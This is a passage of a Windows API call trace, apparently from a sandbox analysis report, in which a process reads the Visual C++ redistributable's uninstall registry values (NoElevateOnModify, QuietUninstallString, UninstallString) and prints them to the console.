[0150.834] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.834] GetProcessHeap () returned 0x3c0000 [0150.834] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xc4 [0150.834] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.834] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoElevateOnModify", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.834] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoElevateOnModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.834] GetProcessHeap () returned 0x3c0000 [0150.834] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.834] GetProcessHeap () returned 0x3c0000 [0150.834] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.834] GetProcessHeap () returned 0x3c0000 [0150.834] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.834] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoElevateOnModify", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0150.834] __iob_func () returned 0x7fefd702a80 [0150.834] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.835] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.835] _fileno (_File=0x7fefd702ab0) returned 1 [0150.835] _errno () returned 0x204bb0 [0150.835] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.835] _errno () returned 0x204bb0 [0150.835] GetFileType (hFile=0x50) returned 0x1 [0150.835] lstrlenW (lpString=" ") returned 4 [0150.835] GetConsoleOutputCP () returned 0x1b5 [0150.835] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.835] GetConsoleOutputCP () returned 0x1b5 [0150.835] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.835] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.835] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.835] lstrlenW (lpString="NoElevateOnModify") returned 17 [0150.835] __iob_func () returned 0x7fefd702a80 [0150.835] _fileno (_File=0x7fefd702ab0) returned 1 [0150.835] _errno () returned 0x204bb0 [0150.835] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.835] _errno () returned 0x204bb0 [0150.835] GetFileType (hFile=0x50) returned 0x1 [0150.835] lstrlenW (lpString="NoElevateOnModify") returned 17 [0150.835] GetConsoleOutputCP () returned 0x1b5 [0150.835] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoElevateOnModify", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0150.835] GetConsoleOutputCP () returned 0x1b5 [0150.836] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoElevateOnModify", cchWideChar=17, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoElevateOnModify", lpUsedDefaultChar=0x0) returned 17 [0150.836] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 17 [0150.836] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.836] __iob_func () returned 0x7fefd702a80 [0150.836] _fileno (_File=0x7fefd702ab0) returned 1 [0150.836] _errno () returned 0x204bb0 [0150.836] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.836] _errno () returned 0x204bb0 [0150.836] GetFileType (hFile=0x50) returned 0x1 [0150.836] lstrlenW (lpString=" ") returned 4 [0150.836] GetConsoleOutputCP () returned 0x1b5 [0150.836] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.836] GetConsoleOutputCP () returned 0x1b5 [0150.836] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.836] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.836] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.836] __iob_func () returned 0x7fefd702a80 [0150.836] _fileno (_File=0x7fefd702ab0) returned 1 [0150.836] _errno () returned 0x204bb0 [0150.836] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.836] _errno () returned 0x204bb0 [0150.836] GetFileType (hFile=0x50) returned 0x1 [0150.836] lstrlenW (lpString="REG_DWORD") returned 9 [0150.836] GetConsoleOutputCP () returned 0x1b5 [0150.837] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.837] GetConsoleOutputCP () returned 0x1b5 [0150.837] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.837] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.837] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.837] __iob_func () returned 0x7fefd702a80 [0150.837] _fileno (_File=0x7fefd702ab0) returned 1 [0150.837] _errno () returned 0x204bb0 [0150.837] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.837] _errno () returned 0x204bb0 [0150.837] GetFileType (hFile=0x50) returned 0x1 [0150.837] lstrlenW (lpString=" ") returned 4 [0150.837] GetConsoleOutputCP () returned 0x1b5 [0150.837] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.837] GetConsoleOutputCP () returned 0x1b5 [0150.837] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.837] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.837] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.837] __iob_func () returned 0x7fefd702a80 [0150.838] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.838] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0150.838] _fileno (_File=0x7fefd702ab0) returned 1 [0150.838] _errno () returned 0x204bb0 [0150.838] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.838] _errno () returned 0x204bb0 [0150.838] GetFileType (hFile=0x50) returned 0x1 [0150.838] lstrlenW (lpString="0x1") returned 3 [0150.838] GetConsoleOutputCP () returned 0x1b5 [0150.838] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.838] GetConsoleOutputCP () returned 0x1b5 [0150.838] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0150.838] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.838] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.838] __iob_func () returned 0x7fefd702a80 [0150.838] _fileno (_File=0x7fefd702ab0) returned 1 [0150.838] _errno () returned 0x204bb0 [0150.838] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.838] _errno () returned 0x204bb0 [0150.838] GetFileType (hFile=0x50) returned 0x1 [0150.838] lstrlenW (lpString="\n") returned 1 [0150.838] GetConsoleOutputCP () returned 0x1b5 [0150.838] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.839] GetConsoleOutputCP () returned 0x1b5 [0150.839] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.839] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.839] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.839] GetProcessHeap () returned 0x3c0000 [0150.839] GetProcessHeap () returned 0x3c0000 [0150.839] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.839] GetProcessHeap () returned 0x3c0000 [0150.839] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.839] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.839] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="QuietUninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.839] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="QuietUninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xd6) returned 0x0 [0150.839] GetProcessHeap () returned 0x3c0000 [0150.839] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xd8) returned 0x3e1c70 [0150.839] GetProcessHeap () returned 0x3c0000 [0150.839] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.839] GetProcessHeap () returned 0x3c0000 [0150.839] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xd8 [0150.839] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="QuietUninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xd6 | out: pdwType=0x29f700*=0x1, pvData="\"C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe\" /uninstall /quiet", pcbData=0x29f780*=0xd4) returned 0x0 [0150.839] __iob_func () returned 0x7fefd702a80 [0150.839] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.839] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.839] _fileno (_File=0x7fefd702ab0) returned 1 [0150.839] _errno () returned 0x204bb0 [0150.839] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.839] _errno () returned 0x204bb0 [0150.839] GetFileType (hFile=0x50) returned 0x1 [0150.839] lstrlenW (lpString=" ") returned 4 [0150.839] GetConsoleOutputCP () returned 0x1b5 [0150.840] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.840] GetConsoleOutputCP () returned 0x1b5 [0150.840] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.840] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.840] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.840] lstrlenW (lpString="QuietUninstallString") returned 20 [0150.840] __iob_func () returned 0x7fefd702a80 [0150.840] _fileno (_File=0x7fefd702ab0) returned 1 [0150.840] _errno () returned 0x204bb0 [0150.840] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.840] _errno () returned 0x204bb0 [0150.840] GetFileType (hFile=0x50) returned 0x1 [0150.840] lstrlenW (lpString="QuietUninstallString") returned 20 [0150.840] GetConsoleOutputCP () returned 0x1b5 [0150.840] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="QuietUninstallString", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0150.840] GetConsoleOutputCP () returned 0x1b5 [0150.840] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="QuietUninstallString", cchWideChar=20, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuietUninstallString", lpUsedDefaultChar=0x0) returned 20 [0150.840] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 20 [0150.840] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.841] __iob_func () returned 0x7fefd702a80 [0150.841] _fileno (_File=0x7fefd702ab0) returned 1 [0150.841] _errno () returned 0x204bb0 [0150.841] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.841] _errno () returned 0x204bb0 [0150.841] GetFileType (hFile=0x50) returned 0x1 [0150.841] lstrlenW (lpString=" ") returned 4 [0150.841] GetConsoleOutputCP () returned 0x1b5 [0150.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.841] GetConsoleOutputCP () returned 0x1b5 [0150.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.841] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.841] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.841] __iob_func () returned 0x7fefd702a80 [0150.841] _fileno (_File=0x7fefd702ab0) returned 1 [0150.841] _errno () returned 0x204bb0 [0150.841] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.841] _errno () returned 0x204bb0 [0150.841] GetFileType (hFile=0x50) returned 0x1 [0150.841] lstrlenW (lpString="REG_SZ") returned 6 [0150.841] GetConsoleOutputCP () returned 0x1b5 [0150.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.841] GetConsoleOutputCP () returned 0x1b5 [0150.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.842] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.842] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.842] __iob_func () returned 0x7fefd702a80 [0150.842] _fileno (_File=0x7fefd702ab0) returned 1 [0150.842] _errno () returned 0x204bb0 [0150.842] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.842] _errno () returned 0x204bb0 [0150.842] GetFileType (hFile=0x50) returned 0x1 [0150.842] lstrlenW (lpString=" ") returned 4 [0150.842] GetConsoleOutputCP () returned 0x1b5 [0150.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.842] GetConsoleOutputCP () returned 0x1b5 [0150.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.842] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.842] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.842] __iob_func () returned 0x7fefd702a80 [0150.842] _fileno (_File=0x7fefd702ab0) returned 1 [0150.842] _errno () returned 0x204bb0 [0150.842] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.842] _errno () returned 0x204bb0 [0150.842] GetFileType (hFile=0x50) returned 0x1 [0150.842] lstrlenW (lpString="\"C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe\" /uninstall /quiet") returned 105 [0150.842] GetConsoleOutputCP () returned 0x1b5 [0150.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe\" /uninstall /quiet", cchWideChar=105, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0150.843] GetConsoleOutputCP () returned 0x1b5 [0150.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe\" /uninstall /quiet", cchWideChar=105, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe\" /uninstall /quiet", lpUsedDefaultChar=0x0) returned 105 [0150.843] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 105 [0150.843] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.843] __iob_func () returned 0x7fefd702a80 [0150.843] _fileno (_File=0x7fefd702ab0) returned 1 [0150.843] _errno () returned 0x204bb0 [0150.843] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.843] _errno () returned 0x204bb0 [0150.843] GetFileType (hFile=0x50) returned 0x1 [0150.843] lstrlenW (lpString="\n") returned 1 [0150.843] GetConsoleOutputCP () returned 0x1b5 [0150.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.843] GetConsoleOutputCP () returned 0x1b5 [0150.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.843] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.843] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.843] GetProcessHeap () returned 0x3c0000 [0150.843] GetProcessHeap () returned 0x3c0000 [0150.844] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.844] GetProcessHeap () returned 0x3c0000 [0150.844] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xd8 [0150.844] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.844] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.844] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xca) returned 0x0 [0150.844] GetProcessHeap () returned 0x3c0000 [0150.844] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xcc) returned 0x3e1c70 [0150.844] GetProcessHeap () returned 0x3c0000 [0150.844] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.844] GetProcessHeap () returned 0x3c0000 [0150.844] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xcc [0150.844] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xca | out: pdwType=0x29f700*=0x1, pvData="\"C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe\" /uninstall", pcbData=0x29f780*=0xc8) returned 0x0 [0150.844] __iob_func () returned 0x7fefd702a80 [0150.844] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.844] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.844] _fileno (_File=0x7fefd702ab0) returned 1 [0150.844] _errno () returned 0x204bb0 [0150.844] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.844] _errno () returned 0x204bb0 [0150.844] GetFileType (hFile=0x50) returned 0x1 [0150.844] lstrlenW (lpString=" ") returned 4 [0150.844] GetConsoleOutputCP () returned 0x1b5 [0150.844] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.844] GetConsoleOutputCP () returned 0x1b5 [0150.845] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.845] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.845] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.845] lstrlenW (lpString="UninstallString") returned 15 [0150.845] __iob_func () returned 0x7fefd702a80 [0150.845] _fileno (_File=0x7fefd702ab0) returned 1 [0150.845] _errno () returned 0x204bb0 [0150.845] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.845] _errno () returned 0x204bb0 [0150.845] GetFileType (hFile=0x50) returned 0x1 [0150.845] lstrlenW (lpString="UninstallString") returned 15 [0150.845] GetConsoleOutputCP () returned 0x1b5 [0150.845] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.845] GetConsoleOutputCP () returned 0x1b5 [0150.845] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0150.845] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.845] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.845] __iob_func () returned 0x7fefd702a80 [0150.845] _fileno (_File=0x7fefd702ab0) returned 1 [0150.845] _errno () returned 0x204bb0 [0150.845] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.845] _errno () returned 0x204bb0 [0150.845] GetFileType (hFile=0x50) returned 0x1 [0150.845] lstrlenW (lpString=" ") returned 4 [0150.846] GetConsoleOutputCP () returned 0x1b5 [0150.846] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.846] GetConsoleOutputCP () returned 0x1b5 [0150.846] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.846] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.846] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.846] __iob_func () returned 0x7fefd702a80 [0150.846] _fileno (_File=0x7fefd702ab0) returned 1 [0150.846] _errno () returned 0x204bb0 [0150.846] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.846] _errno () 